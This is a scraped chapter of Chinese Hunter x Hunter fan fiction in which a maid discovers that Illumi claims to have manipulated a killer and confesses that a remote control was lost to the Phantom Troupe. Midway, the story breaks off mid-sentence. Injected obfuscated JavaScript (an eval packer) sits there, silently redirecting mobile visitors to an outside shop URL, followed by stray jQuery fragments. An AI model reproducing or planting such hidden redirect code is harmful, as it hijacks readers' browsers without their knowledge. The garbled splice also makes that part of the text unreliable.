文趣网 > 其他小说 > [猎人]揍敌客女仆再就业计划 > 30.操控×坦白
    听见这个骇人听闻的消息,伊尔迷的反应平淡极了,声调毫无起伏地回应:“哦,我知道了。”

    伊洛斯不死心,又把事情从头到尾复述了一遍,语速越说越快:“我真的是亲眼看见的,我从窗边路过的时候,埃卡特先生就躺在床上,那个小胡子情夫压在他身上拿刀刺他,就是咱们在花园里遇到的那个男人,和埃卡特外甥女偷情的那个。”

    “嗯。”伊尔迷淡然地点点头。

    这种反应令伊洛斯生出一点怀疑。

    自己的委托目标被别人抢先杀死了,伊尔迷为什么一点也不意外?当然,也有可能只是他对任何事情的反应都很平淡,况且他们早就听见了小胡子男和情妇的谋杀计划,他可能提前预料到了这一点。

    但那毕竟是伊尔迷的委托目标,是会换成钱的尸体。

    她还是忍不住问:“那您的委托金怎么办?”

    “委托金我会收。”

    “可人又不是您杀的。”

    伊尔迷顿了顿,并未立刻作答,那双毫无生机的黑瞳定定落在她脸上,片刻后才冷然吐出一句:“人是我杀的。”

    伊洛斯微微睁大眼睛。

    “我都看见了,人不是您杀的啊。”

    没想到为了委托金,伊尔迷居然也可以对雇主说出这种谎,况且这慌说得也太明显了。小胡子男的刺杀手法和伊尔迷比起来完全是天差地别,那一刀慌乱、急促,充满怨恨,毫无章法与技巧。

    如果是他本人动的手,现场不会那么狼狈,或者说,目击者根本就来不及意识到那是一场暗杀。

    伊尔迷总是很从容,像只是完成了一件顺手而为的小事。甚至第一次看他暗杀的时候......伊洛斯从那种冷淡中洞察到了一点很幽微也很难以言喻的艺术性。

    当然,这种话难以诉之于口。

    伊尔迷的双手沉甸甸地落在伊洛斯的肩膀上,垂眸凝视着她,眉梢几乎不可察觉地动了一瞬,语气依旧毫无波澜。

    “伊洛斯,人就是我杀的。”

    行吧......他说是他,那就是他吧。

    她一只手抵在鼻尖:“明白,我会去记录现场。”

    掌心温热的温度隔着衣料传递而来,那两只手依旧搭在她肩上,没有要移开的迹象,垂着眼的伊洛斯能看见自己正在大幅起伏的胸口,不自然地吞咽了一下。

    “你不承认那是我杀的,只是因为暗杀现场不好看,你不想回去再看一次。”伊尔迷趋前一步,微微低俯下来,吐出的气息蹭过她的脸颊,像被水沾湿的羽毛蹭过皮肤一样,细细痒痒的。

    “也不全是......”她侧开脸,慢吞吞地说,“您可以直接告诉我,为了委托金所以您一口咬定人是您杀的。可我看见的明明就是小胡子情夫。”

    “是我做的。我操控他杀死了埃卡特。”

    真挚的、一本正经的语气,让人根本分辨不出他是开玩笑还是真心的。伊尔迷又从来不会开玩笑。

    光点渐渐从伊洛斯那双深绿色的眼眸里被抽走了,转而浮上一层迷茫。

    难道今天发生的事太多,大少爷精神错乱了?还是他发烧了,所以现在思绪混乱,开始说胡话了?

    “您真厉害......居然真的有超能力呢。”她努力维持着礼貌的表情,笑着迎合他。

    他眼皮一抬:“我没有开玩笑。”

    “......那您能教教我吗?我也想学怎么操控别人。”

    伊尔迷很认真地回答:“我暂时不打算让你接触这些,你只需要做好我的女仆就可以。”

    话音落下,房间内更安静了。伊洛斯暂时没想好用什么话来承接这些胡话,只能将头扭得更偏一点,目不转睛地盯着侧面墙上的衣挂,抿起唇。

    身前的人依旧离得很近。

    他的头还低着,呼吸的声音与心跳交织在一起,萦绕在耳畔,呼出的气流从她的脸颊滑到颈侧,那一小片敏感而脆弱的皮肤,因为这样的接触而掀起了一阵极细的战栗。早已被揉得皱皱巴巴的裙摆再次被她攥进掌心里。

    呼吸开始升温。

    变得很烫。

    他很烫。

    果然发烧了。

    伊洛斯伸出一只手,指尖抵在他的肩膀上,把他推开了一点,终于扭回头来,用专业且充满关切的语气问:“您是不是不舒服?不如早点休息吧。”

    “我没有不舒服。”

    她没理会这句毫无可信度的自我诊断,自顾自地从他身侧那一小块空隙里钻出去,快步走到床边掀开被子,对他做出一个“请”的手势。

    至于遥控器弄丢的事......伊尔迷都病成这样了,也不知道说出来会不会加重病情。还是斟酌一下,不要刺激到他比较好。

    房间里只留了一盏台灯,在那片昏黄下,伊尔迷靠着床头坐好,长发垂落在肩头,目光始终追寻着莫名拿起拖把开始清洁的伊洛斯。

    她的动作很急促,眉心蹙着,唇也微微抿着,从房间左边拖到右边,又回到浴室里不知道在捯饬什么。

    重新回到床头后,伊洛斯的手中多了一块被浸湿的毛巾,她将毛巾折叠成整齐的小方块,郑重贴在了伊尔迷的额头上。

    “伊洛斯,我没有不舒服。”他重申了一遍。

    她语气严肃地说:“您只是自己觉得自己没有不舒服而已,温度挺高的。”

    伊尔迷摸了摸自己的脖子,像是不理解她这么做的缘由,歪了下头,那块毛巾差点滑下来,又被她眼疾手快扶住了。

    她深吸了一口气。

    “少爷,我必须要跟您坦白一件事。”

    伊洛斯站在床边,两只手紧张地攥在一起,指尖扣着指尖。

    这样的坦白对她来说实在很为难,不是平常一句“抱歉”就可以糊弄过去的,以往她道歉得那么轻易,只是因为心里并没有真正觉得自己做错了什么,说出口的大多数只是一种形式,一种女仆对主人应有的礼貌。

    可今天不一样。

    她好像真的把事情搞砸了,而且造成了某种难以挽回的局面。

    道歉就意味着承认自己确实犯了错。在这种窘迫而陌生的心境下,悲凉灼意涌现在心间,一点温热的液体渐渐湿润了伊洛斯的眼眶,她深呼吸了一下,悄然观察着床头面无表情看着她的伊尔迷。

    伊尔迷。

    对,这件事其实也不能全怪她,主要问题还是出在伊尔迷身上。

    他作为她的主人,本来应该很清楚她的真正实力,却还是固执地把遥控器交给她处理,既然做出了决定,那也应该早就预料到了失败的可能性,以及一切后果。

    那点眼泪全被收了回去,她挺直脊背,微微抬起头,当然也没显得太理直气壮,只是用平稳而沉静的语气陈述道:“少爷,遥控器被库洛洛·鲁西鲁那伙人拿走了。”

    好在伊尔迷没有立刻

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658872|205736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    发作,那张古井无波的面庞依旧不动声色,湿毛巾端端正正地搭在额头上,反而显出一种诡异的安详。

    “哦,为什么会被他们拿走?”

    她简短讲述了收藏室里发生的事,以及听到的对话。

    “情况就是这样,而且那个叫侠客的男人提议直接杀了我们。”

    “他们不会真正这样做。”伊尔迷回答得很快,但没解释理由。

    等待了几秒,没等到下文,伊洛斯只好继续说:“不如我们趁现在直接离开这里吧。反正埃卡特先生死了,您的工作已经完成了。”

    “不能走。遥控器在旅团手上。”

    “可我觉得他们今晚不会引爆庄园,趁着现在走是最好的。”

    他轻轻拧了下眉:“为什么这么觉得?”

    伊洛斯的视线微妙地飘了一下。

    “......因为库洛洛说他累了,然后他的同伙说,他们要去睡觉。”

    伊尔迷闭上眼沉默片刻,一只手按了按额头的湿毛巾,随后才睁开。

    “那我们今晚走吗?”她还是小声问。

    他摇头,忽然转移了话题:“伊洛斯,我交给你的任务,你没有完成。”

    “抱歉。”她立刻垂下头。

    伊尔迷却没有继续说下去,沉默在房间里缓慢铺展。这次她主动提出了惩罚方式:“您可以扣我工资。”

    反正有了偷偷接单的副业,现在的她已经不怕被扣工资了。

    伊尔迷却依旧缄口沉默,那双无机质的黑眼直直望着她,空洞得让人读不出一丝情绪。

    过了许久,久到她的小腿都发麻了,他才漠然道:“以后我不会让你单独执行任务了。”

    “嗯......”她低低回应了一声。

    这个处置明明很合理,这次也确实是她没完成任务,可意识到自己不再被伊尔迷所信任的那一刻,胸腔里还是泛起一阵酸涩,有点不甘。

    伊洛斯怏怏走回沙发旁躺下。

    沙发靠在窗旁,素净的纱帘随风摇摇晃晃,被掀起露出后面的窗棂,月光淋在石台上,石英断面闪着细小的光点,藤蔓植物上一朵朵粉色小花也在随风轻轻颤动。

    时间在这样的夏夜里好像停住了。

    床上的人已经平躺下去,伊洛斯不禁开始猜测,他现在睁着眼还是闭着眼。

    睁着眼大概是在盯着天花板,如果闭着眼,或许已经睡着了,也可能在回想今天发生的荒诞的一切。

    在这样反复的纠结中,意识渐渐陷入了昏沉。

    次日,天边刚刚泛起白光,房门外就响起了一阵急促的脚步和喧嚣的叫喊。

    有人发现了埃卡特的尸体。

    洗漱完,伊洛斯和伊尔迷很快下到一楼走廊。有许多人聚集在昨晚她目击凶杀的那间房间外,她用力拨开人流,挤到最前面,往屋内看了一眼。

    除了埃卡特外,小胡子男的尸体也倒在一片血泊里。

    他的情人泪涕俱下地跪在他身侧,语无伦次地说着什么。

    伊洛斯侧眼看向身旁的伊尔迷。

    ......不至于吧?为了让雇主信服埃卡特先生真是他杀的,连小胡子男也一起杀了?

    他什么时候动的手?昨晚她睡着的时候吗?

    就在她纠结这些事的时候,另一阵脚步由远及近地响起。

    她回过头,对上了库洛洛·鲁西鲁那张似笑非笑的脸。